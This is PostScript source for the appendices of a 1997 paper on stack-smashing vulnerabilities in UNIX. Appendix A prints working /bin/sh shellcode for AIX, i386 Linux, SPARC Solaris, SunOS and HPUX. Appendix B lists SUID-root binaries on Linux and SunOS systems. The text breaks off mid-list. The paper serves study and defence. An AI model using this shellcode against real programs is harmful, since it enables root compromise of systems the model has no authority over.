SET_CMYK GS n 6459 3679 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6715 3679 M (cooperation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3403 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1449 3403 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1924 3403 M (people ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2472 3403 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2706 3403 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3385 3403 M (parts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3814 3403 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4058 3403 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4366 3403 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4887 3403 M (community, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5792 3403 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6239 3403 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6973 3403 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3127 M (vulnerabilities can be defeated. ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 30 30 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1960 9823 M (Appendix A - Shellcode for Operating Systems/Architectures) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9278 M (AIX Shell Code) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9142 M (unsigned int code[]={) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9037 M (0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8932 M (0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8827 M (0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8722 M (0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8617 M (0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8512 M (0x7c0903a6 , 0x4e800420, 0x0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8407 M (}; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8142 M (/* disassembly) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8037 M (7c0802a6 mfspr r0,LR) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7932 M (9421fbb0 stu SP,-1104\(SP\) --get stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7827 M (90010458 st r0,1112\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7722 M (3c60f019 cau r3,r0,0xf019 --CTR) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7617 M (60632c48 lis r3,r3,11336 --CTR) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7512 M (90610440 st r3,1088\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7407 M (3c60d002 cau r3,r0,0xd002 --TOC) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7302 M (60634c0c lis r3,r3,19468 --TOC) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7197 M (90610444 st r3,1092\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7092 M (3c602f62 cau r3,r0,0x2f62 --'/bin/sh\\x01') ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6987 M (6063696e lis r3,r3,26990) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6882 M (90610438 st r3,1080\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6777 M (3c602f73 cau r3,r0,0x2f73) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6672 M (60636801 lis r3,r3,26625) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6567 M (3863ffff addi r3,r3,-1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6462 M ( 9061043c st r3,1084\(SP\) --terminate with 0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6357 M (30610438 lis r3,SP,1080) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6252 M (7c842278 xor r4,r4,r4 --argv=NULL ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6147 M (80410440 lwz RTOC,1088\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6042 M (80010444 lwz r0,1092\(SP\) --jump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5937 M (7c0903a6 mtspr CTR,r0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5832 M (4e800420 bctr --jump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5727 M (*/ ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5373 M (i386/Linux) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5237 M (jmp 0x1f) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5132 M ( popl %esi) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5027 M ( movl %esi,0x8\(%esi\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4922 M ( xorl %eax,%eax) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4817 M ( movb %eax,0x7\(%esi\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4712 M ( movl %eax,0xc\(%esi\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4607 M ( movb $0xb,%al) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4502 M ( movl %esi,%ebx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4397 M ( leal 0x8\(%esi\),%ecx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4292 M ( leal 0xc\(%esi\),%edx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4187 M ( int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4082 M ( xorl %ebx,%ebx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3977 M ( movl %ebx,%eax) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3872 M ( inc %eax) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3767 M ( int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3662 M ( call -0x24) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3557 M ( .string \\"/bin/sh\\") ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 3203 M (SPARC/Solaris) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 3067 M (sethi 0xbd89a, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2962 M ( or %l6, 0x16e, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2857 M ( sethi 0xbdcda, %l7) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2752 M ( and %sp, %sp, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2647 M ( add %sp, 8, %o1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2542 M ( xor %o2, %o2, %o2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2437 M ( add %sp, 16, %sp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2332 M ( std %l6, [%sp - 16]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2227 M ( st %sp, [%sp - 8]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2122 M ( st %g0, [%sp - 4]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2017 M ( mov 0x3b, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1912 M ( ta 8) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1807 M ( xor %o7, %o7, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1702 M ( mov 1, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1597 M ( ta 8) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 31 31 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (SPARC/SunOS) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 9687 M (sethi 0xbd89a, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9582 M ( or %l6, 0x16e, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9477 M ( sethi 0xbdcda, %l7) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9372 M ( and %sp, %sp, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9267 M ( add %sp, 8, %o1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9162 M ( xor %o2, %o2, %o2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9057 M ( add %sp, 16, %sp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8952 M ( std %l6, [%sp - 16]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8847 M ( st %sp, [%sp - 8]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8742 M ( st %g0, [%sp - 4]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8637 M ( mov 0x3b, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8532 M ( mov -0x1, %l5) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8427 M ( ta %l5 + 1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8322 M ( xor %o7, %o7, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8217 M ( mov 1, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8112 M ( ta %l5 + 1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 7758 M (HPUX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7622 M (strcpy\ \(buf,"\ \\x41\ \\x41\\x34\\x01\\x01\\x02\\x08\\x22\\x04\\x01\\x60\\x20\\x02\\xa6\\x60\\x20\\x02) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7517 M (\\xac\ \\xb4\ \\x3a\ \\x02\ \\x98\\x34\\x16\\x01\\x76\\x34\\x01\\x02\\x76\\x08\\x36\\x02\\x16\\x08\\x21\\x02) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7412 M (\\x80\ \\x20\ \\x20\ \\x08\ \\x01\\xe4\\x20\\xe0\\x08\\x08\\x21\\x02\\x80\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7307 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7202 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7097 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6992 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6887 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6782 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6677 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6572 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x2e\\x2d) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6467 M (\\x69\\x2e\\x44\\x44\\x44\\x44\\x44\\x7b\\x03\\x30\\x1b"\);) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 4349 6467 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4325 6324 M ( ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 32 32 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 2403 9823 M (Appendix B - SUID root programs by distribution) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p120000 SETFONT GS n 1450 9380 M (Linux - 2.0.30 #4 Mon May 5 16:40:11 EDT 1997 i586) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 9168 M (root@-:~ >find / -user root -perm -004000 -print ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8980 M (/usr/bin/fdmount) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8792 M (/usr/bin/at) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8604 M (/usr/bin/crontab) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8416 M (/usr/bin/splitvt) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8228 M (/usr/bin/chsh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8040 M (/usr/bin/newgrp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7852 M (/usr/bin/passwd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7664 M (/usr/bin/chfn) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7476 M (/usr/bin/sudo.bin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7288 M (/usr/bin/procmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7100 M (/usr/bin/lpq) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6912 M (/usr/bin/lpr) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6724 M (/usr/bin/lprm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6536 M (/usr/bin/rcp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6348 M (/usr/bin/rlogin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6160 M (/usr/bin/rsh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5972 M (/usr/bin/traceroute.old) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5784 M (/usr/lib/mc/bin/cons.saver) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5596 M (/usr/lib/svgalib/fun) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5408 M (/usr/lib/svgalib/mousetest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5220 M (/usr/lib/svgalib/scrolltest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5032 M (/usr/lib/svgalib/speedtest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4844 M (/usr/lib/svgalib/testgl) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4656 M (/usr/lib/svgalib/testlinear) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4468 M (/usr/lib/svgalib/vgatest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4280 M (/usr/lib/svgalib/3d) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4092 M (/usr/lib/svgalib/keytest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3904 M (/usr/lib/svgalib/accel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3716 M (/usr/lib/svgalib/eventtest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3528 M (/usr/lib/svgalib/forktest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3340 M (/usr/lib/svgalib/testaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3152 M (/usr/lib/newsbin/setnewsids) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2964 M (/usr/local/bin/ssh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2776 M (/usr/local/bin/sudo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2588 M (/usr/local/bin/screen-3.7.1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2400 M (/usr/local/bin/dumpreg) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2212 M (/usr/local/bin/restorefont) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2024 M (/usr/local/bin/restorepalette) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 1836 M (/usr/local/bin/restoretextmode) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 1648 M (/usr/local/sbin/traceroute) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 1460 M (/usr/sbin/pppd-2.2) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 33 33 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 9912 M (/usr/sbin/sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9724 M (/usr/sbin/sliplogin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9536 M (/usr/X11R6/bin/xload) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9348 M (/usr/X11R6/bin/xterm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9160 M (/usr/X11R6/bin/color_xterm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8972 M (/usr/X11R6/bin/XF86_S3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8784 M (/usr/X11R6/bin/xosview) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8596 M (/usr/X11R6/bin/XF86_S3.old2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8408 M (/usr/X11R6/bin/Xaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8220 M (/var/X11R6/lib/AcceleratedX/arch/LINUX/Xaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8032 M (/var/X11R6/lib/AcceleratedX/bin/Xaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7844 M (/bin/su) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7656 M (/bin/mount) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7468 M (/bin/umount) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7280 M (/bin/ping) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p120000 SETFONT GS n 1200 6868 M (SunOS - 5.5.1 Generic sun4u sparc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 6656 M (/usr/local/bin/screen-3.7.1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6468 M (/usr/local/bin/sudo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6280 M (/usr/local/bin/su) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6092 M (/usr/local/bin/ssh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5904 M (/usr/local/bin/rlpr) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5716 M (/usr/local/bin/rlprd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5528 M (/usr/local/bin/top) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5340 M (/usr/local/bin/ntping) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5152 M (/usr/local/bin/straps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4964 M (/usr/local/bin/rlpq) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4776 M (/usr/local/sbin/traceroute) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4588 M (/usr/local/sbin/tcpdump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4400 M (/usr/local/sbin/itest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4212 M (/usr/local/sbin/icmpinfo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4024 M (/usr/local/X11/xmcd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3836 M (/usr/local/X11/cda) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3648 M (/usr/bin/at) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3460 M (/usr/bin/atq) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3272 M (/usr/bin/atrm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3084 M (/usr/bin/chkey) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2896 M (/usr/bin/crontab) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2708 M (/usr/bin/login) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2520 M (/usr/bin/newgrp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2332 M (/usr/bin/passwd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2144 M (/usr/bin/ps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1956 M (/usr/bin/rcp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1768 M (/usr/bin/rdist) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1580 M (/usr/bin/rlogin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1392 M (/usr/bin/rsh) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 34 34 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9912 M (/usr/bin/su) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9724 M (/usr/bin/uptime) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9536 M (/usr/bin/w) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9348 M (/usr/bin/yppasswd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9160 M (/usr/bin/volcheck) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8972 M (/usr/bin/admintool) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8784 M (/usr/bin/ct) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8596 M (/usr/bin/nispasswd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8408 M (/usr/lib/fs/ufs/quota) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8220 M (/usr/lib/fs/ufs/ufsdump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8032 M (/usr/lib/fs/ufs/ufsrestore) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7844 M 